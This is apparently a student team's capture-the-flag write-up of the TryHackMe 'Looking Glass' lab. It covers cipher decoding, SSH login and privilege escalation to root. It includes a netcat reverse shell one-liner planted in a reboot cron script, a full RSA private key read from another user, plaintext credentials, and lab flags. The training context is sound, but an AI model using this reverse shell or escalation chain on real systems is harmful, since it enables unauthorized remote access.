PenTest 1

LOOKING

GLASS

Hepi3Fren

Members

ID	Name	Role
1211101589	CHEW SHEN	Leader
1211101582	TEOH KAI LOON	Member
1211101737	LIM ZHONG JUN	Member

Members Involved: Chew Shen

Tools used: Kali Linux, nmap, Firefox (CIpher identifier and Vigenere Tool)

Thought Process and Methodology and Attempts:

Starting by running Nmap scan with the IP provided by THM. After a while, many ports are shown.

By doing ssh, I try to enter the port number given and it will give the output higher or lower. From here I guess I need to find something in between the port to get the real port.

By trying several times, I finally manage to get the real port number, Some texts are shown and it looks like a poem. A few tries after guessing what is it, I know that it is a cipher text but I couldn't recognize which is it.

So I use the Ciphertext identifier ([Cipher identifier](#)) to determine which kind of cipher is it.

And the result shows that it is a Vigenere Cipher.

By continuing to the Viginere Tool ([Link here](#)), a key to the Cipher text was obtained and The text has been decrypted successfully. So we got a secret from the decrypted text.

By putting the secret text we found, a user and password are given.

```
'Ick lrla xhzj zlbmg vpt Qesulvwzrr?
Cpqx vw bf eifz, qy mthmjwa dwn!
V jitinofh kaz! Gtntdvl! Ttspaj!'
Wl ciskvttk me apw jzn.

'Awbw utqasmx, tuh tst zljxaa bdcij
Wph gjgl aoh zkuqsi zg ale hpie;
Bpe oqbzc nxyi tst iosszqdtz,
Eew ale xdte semja dbxxkhfe.
Jdbr tivtmi pw sxderpIoeKeudmgdstd
Enter Secret:
jabberwock:SandwichesSlowerTwentyGaily
Connection to 10.10.8.33 closed.

┌──(1211101737㉿kali)-[~]
└─$ ▮
```

Ssh into the user with the password given and now we are the new user, Jabberwock.

```
┌──(1211101737㉿kali)-[~]
└─$ ssh jabberwock@10.10.8.33
The authenticity of host '10.10.8.33 (10.10.8.33)' can't be established.
ED25519 key fingerprint is SHA256:xs9LzYRViB8jiE4uU7UlpLdwXgzR3sCZpTYFU2RgvJ4.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:41: [hashed name]
    ~/.ssh/known_hosts:90: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.8.33' (ED25519) to the list of known hosts.
jabberwock@10.10.8.33's password:
Permission denied, please try again.
jabberwock@10.10.8.33's password:
Last login: Fri Jul  3 03:05:33 2020 from 192.168.170.1
jabberwock@looking-glass:~$ ▮
```

Members Involved: Teoh Kai Loon

Tools used: Kali Linux,Firefox(crackstation.net)

Thought Process and Methodology and Attempts:
After I log in,I type ls to list what files are inside it.I found there are 3 files inside it
which is poem.txt,twasBrillig.sh and user.txt.I type cat user.txt to read the file data and
give the content as output.After that, I found that it is in reverse form because it is
supposed to be thm but not mht.so I type echo
"}32a911966cab2d643f5d57d9e0173d56{mht" | rev to display it in reverse form.

```
Last login: Fri Jul  3 03:05:33 2020 from 192.168.170.1
jabberwock@looking-glass:~$ ls
poem.txt  twasBrillig.sh  user.txt
jabberwock@looking-glass:~$ cat user.txt
}32a911966cab2d643f5d57d9e0173d56{mht
jabberwock@looking-glass:~$ echo }32a911966cab2d643f5d57d9e0173d56{mht | rev
thm{65d3710e9d75d5f346d2bac669119a23}
jabberwock@looking-glass:~$
```

After I get the flag,I change directory to home .I type ls to see how many users are here.

```
-bash: ./home: No such file or directory
jabberwock@looking-glass:~$ cd /home
jabberwock@looking-glass:/home$ ls
alice  humptydumpty  jabberwock  tryhackme  tweedledee  tweedledum
jabberwock@looking-glass:/home$ cat humptydumpty
cat: humptydumpty: Permission denied
jabberwock@looking-glass:/home$
```

After that,I continue to do it by checking the crontab.I found that there is a user called
tweedledum running "/home/jabberwock/twasBrillig.sh".Because I know the user run
twasBrillig.sh on reboot,so I paste reverse shell there.At the same time,I type nc -lnvp
1234 to listen to the port 1234.After done, I check what I can run as current user by
typing sudo -l.I found out that I can run reboot as root so I type sudo reboot.

```
thm{65d3710e9d75d51346d2bac669119a23}
jabberwock@looking-glass:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
@reboot tweedledum bash /home/jabberwock/twasBrillig.sh
jabberwock@looking-glass:~$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.18.39.181  1234 >/tmp/f" >twasBrillig.sh
jabberwock@looking-glass:~$ sudo -l
Matching Defaults entries for jabberwock on looking-glass:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jabberwock may run the following commands on looking-glass:
    (root) NOPASSWD: /sbin/reboot
jabberwock@looking-glass:~$ sudo reboot
Connection to 10.10.8.33 closed by remote host.
Connection to 10.10.8.33 closed.
```

```
┌──(1211101737㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...

```

After I done connect,I type whoami to know who is the current user.After done,I type the python 3 to spawn a better-featured bash shell.Then I type ls to know what files are at here. After knowing what files are here,I try to get the content of humptydumpty.txt.

The content inside it looks like hash so I decide to crack the hash at crackstation.net.I see there is one unknown.

So I decide to copy it and paste it on cyberchef.I know that it is Hex so we choose from Hex.Then we get the password.

Members Involved: Lim Zhong Jun

Tools used: Kali linux

Thought Process and Methodology and Attempts:

Re-enter the Secret found previously on Viginere Tool. Login to user jabberwock once again by ssh to the correct port by trial and error.

Switch to the user humptydumpty by entering the password shown previously on the Cyberchef.

After several time trial and error, finally able to read something inside.


```
humptydumpty@looking-glass:/$ cat /home/alice/.ssh/id_rsa
——BEGIN RSA PRIVATE KEY——
MIIEpgIBAAKCAQEAxmPncAXisNjbU2xizft4aYPqmfXm1735FPlGf4j9ExZhlmmD
NIRchPaFUqJXQZi5ryQH6YxZP5IIJXENK+a4WoRDyPoyGK/63rXTn/IWWKQka9tQ
2xrdnyxdwbtiKP1L4bq/4vU3OUcA+aYHxqhyq39arpeceHVit+jVPriHiCA73k7g
HCgpkwWczNa5MMGo+1Cg4ifzffv4uhPkxBLLl3f4rBf84RmuKEEy6bYZ+/WOEgHl
fks5ngFniW7×2R3vyq7xyDrwiXEjfW4yYe+kLiGZyyk1ia7HGhNKpIRufPdJdT+r
NGrjYFLjhzeWYBmHx7JkhkEUFIVx6ZV1y+gihQIDAQABAoIBAQDAhIA5kCyMqtQj
X2F+O9J8qjvFzf+GSl7lAIVuC5Ryqlxm5tsg4nUZvlRgfRMpn7hJAjD/bWfKLb7j
/pHmkU1C4WkaJdjpZhSPfGjxpK4UtKx3Uetjw+1eomIVNu6pkivJ0DyXVJiTZ5jF
ql2PZTVpwPtRw+RebKMwjqwo4k77Q30r8Kxr4UfX2hLHtHT8tsjqBUWrb/jlMHQO
zmU73tuPVQSESgeUP2jOlv7q5toEYieoA+7ULpGDwDn8PxQjCF/2QUa2jFalixsK
WfEcmTnIQDyOFWCbmgOvik4Lzk/rDGn9VjcYFxOpuj3XH2l8QDQ+GO+5BBg38+aJ
cUINwh4BAoGBAPdctuVRoAkFpyEofZxQFqPqw3LZyviKena/HyWLxXWHxG6ji7aW
DmtVXjjQOwcjOLuDkT4QQvCJVrGbdBVGOFLoWZzLpYGJchxmlR+RHCb40pZjBgr5
8bjJlQcp6pplBRCF/OsG5ugpCiJsS6uA6CWWXe6WC7r7V94r5wzzJpWBAoGBAM1R
aCg1/2UxIOqxtAfQ+WDxqQQuq3szvrhep22McIUe83dh+hUibaPqR1nYy1sAAhgy
wJohLchlq4E1LhUmTZZquBwviU73fNRbID5pfn4LKL6/yiF/GWd+Zv+t9n9DDWKi
WgT9aG7N+TP/yimYniR2ePu/xKIjWX/uSs3rSLcFAoGBAOxvcFpM5Pz6rD8jZrzs
SFexY9P5nOpn4ppyICFRMhIfDYD7TeXeFDY/yOnhDyrJXcbOARwjivhDLdxhzFkx
X1DPyif292GTsMC4xL0BhLkziIY6bGI9efC4rXvFcvrUqDyc9ZzoYflykL9KaCGr
+zlCOtJ8FQZKjDhOGnDkUPMBAoGBAMrVaXiQH8bwSfyRobE3GaZUFw0yreYAsKGj
oPPwkhhxA0UlXdITOQ1+HQ79xagY0fjl6rBZpska59u1ldj/BhdbRpdRvuxsQr3n
aGs//N64V4BaKG3/CjHcBhUA30vKCicvDI9xaQJOKardP/Ln+xM6lzrdsHwdQAXK
e8wCbMuhAoGBAOKy5OnaHwB8PcFcX68srFLX4W20NN6cFp12cU2QJy2MLGoFYBpa
dLnK/rW4O0JxgqIV69MjDsfRn1gZNhTTAyNnRMH1U7kUfPUB2ZXCmnCGLhAGEbY9
k6ywCnCtTz2/sNEgNcx9/iZW+yVEm/4s9eonVimF+u19HJFOPJsAYxx0
——END RSA PRIVATE KEY——
humptydumpty@looking-glass:/$
```

ssh to alice user and able to switched it without password.


```
humptydumpty@looking-glass:/$ ssh alice@localhost -i /home/alice/.ssh/id_rsa
The authenticity of host 'localhost (::1)' can't be established.
ECDSA key fingerprint is SHA256:kaciOm3nKZjBx4DS3cgsQa0DIVv86s9JtZ0m83r1Pu4.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Last login: Fri Jul  3 02:42:13 2020 from 192.168.170.1
alice@looking-glass:~$
```

Find whether anything inside and determine if a user has permission to run commands that require elevated privileges. The host is given (ssalg-sgnikool) and run command on host


```
Last login: Fri Jul  3 02:42:13 2020 from 192.168.170.1
alice@looking-glass:~$ ls
kitten.txt
alice@looking-glass:~$ cat kitten.txt
She took her off the table as she spoke, and shook her backwards and forwards with all he

The Red Queen made no resistance whatever; only her face grew very small, and her eyes g


—and it really was a kitten, after all.
alice@looking-glass:~$ cat /home/sudoers.d
cat: /home/sudoers.d: No such file or directory
alice@looking-glass:~$ cat /etc/sudoers.d/alice
alice ssalg-gnikool = (root) NOPASSWD: /bin/bash
alice@looking-glass:~$ sudo -h ssalg-gnikool bash
sudo: unable to resolve host ssalg-gnikool
```

After a few tries, I found root.txt on root directory. I run the rev command to view the correct flag.

```
alice@looking-glass:~$ sudo -h ssalg-gnikool bash
sudo: unable to resolve host ssalg-gnikool
root@looking-glass:~# ls
kitten.txt
root@looking-glass:~# cd /home
root@looking-glass:/home# ls
alice  humptydumpty  jabberwock  tryhackme  tweedledee  tweedledum
root@looking-glass:/home# cd alice
root@looking-glass:~# ls
kitten.txt
root@looking-glass:~# cd /root
root@looking-glass:/root# ls
passwords  passwords.sh  root.txt  the_end.txt
root@looking-glass:/root# cat root.txt
}f3dae6dec817ad10b750d79f6b7332cb{mht
root@looking-glass:/root# cat root.txt | rev
thm{bc2337b6f97d057b01da718ced6ead3f}
root@looking-glass:/root#
```

Contributions

ID	Name	Contribution	Signatures
1211101589	CHEW SHEN	Did the recon. Discovered the real port.	
1211101582	TEOH KAI LOON	Figured out the exploit for the initial foothold.	
1211101737	LIM ZHONG JUN	Did the root privilege escalation.	

VIDEO LINK: https://youtu.be/uxvpYFfaH9Q